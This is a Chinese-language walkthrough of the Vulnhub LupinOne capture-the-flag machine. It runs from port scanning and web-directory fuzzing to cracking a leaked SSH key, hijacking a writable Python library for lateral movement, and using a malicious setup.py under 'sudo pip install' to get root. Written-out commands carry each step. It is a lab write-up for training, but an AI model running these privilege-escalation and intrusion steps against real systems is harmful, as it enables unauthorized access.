Vulnhub-Empire: LupinOne題解
本靶機為Vulnhub上Empire系列之LupinOne,地址:EMPIRE: LUPINONE
掃描與發現
利用arp-scan命令掃描靶機IP
arp-scan -l

利用nmap掃描開放埠
nmap -sV -p- 192.168.164.190

目標探索
瀏覽器打開80埠,發現是一張圖片,沒有其他內容,檢測源代碼也沒有發現有用資訊

檢查robots.txt檔案發現/~myfiles目錄,打開卻發現Error 404

在舊版本的Apache服務器中,~ 指代用戶主目錄,我們可以嘗試找到與此相似的路徑,使用wfuzz工具對其路徑進行測驗,發現~secret目錄
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.164.190/~FUZZ

在瀏覽器中打開該路徑~secret/發現一段文字

上面稱這是一個秘密目錄,這里隱藏了他創建的ssh 私鑰檔案,并且得知用戶名為icex64,接下來繼續在該路徑下搜索檔案,得到.mysecret.txt檔案
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403 -u http://192.168.164.190/~secret/.FUZZ.txt

瀏覽器打開發現是一串編碼后的字串

可以使用編碼識別工具進行識別,發現其為Base58,使用在線工具進行解碼得到私鑰檔案內容

拿到shell
在本地創建檔案key,將私鑰保存到其中,然后使用john工具破解密碼
python2 /usr/share/john/ssh2john.py key > keyhash
john keyhash --wordlist=/usr/share/wordlists/fasttrack.txt

得到密碼為P@55w0rd!,將key 檔案權限設為600(否則無法連接),然后利用ssh連接icex64用戶
chmod 600 key
ssh [email protected] -i key

水平越權
拿到shell后搜索suid檔案,Capability檔案,sudo -l發現可以執行一條命令

來到/home/arsene目錄下,查看heist.py檔案權限,沒有修改權限,查看內容,發現其呼叫了webbrower.open()

我們通過find找到該檔案的位置,查看其權限,發現可以寫入內容
find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py

我們可以直接編輯該檔案,寫入呼叫shell腳本(或者反彈shell腳本)

保存退出,執行,獲得arsene用戶shell
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

權限提升
拿到arsene用戶權限后,查看sudo -l,發現可以免密執行/usr/bin/pip
sudo -l

我們可以在當前路徑下新創建一個目錄并打開在里面創建setup.py檔案,里面寫入我們想運行的python腳本,如反彈shell,然后利用pip install以root權限執行,
mkdir tmp
cd tmp
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .

來到root目錄下,打開root.txt拿到flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/373761.html
標籤:其他
上一篇:排序后,如何選擇一條記錄
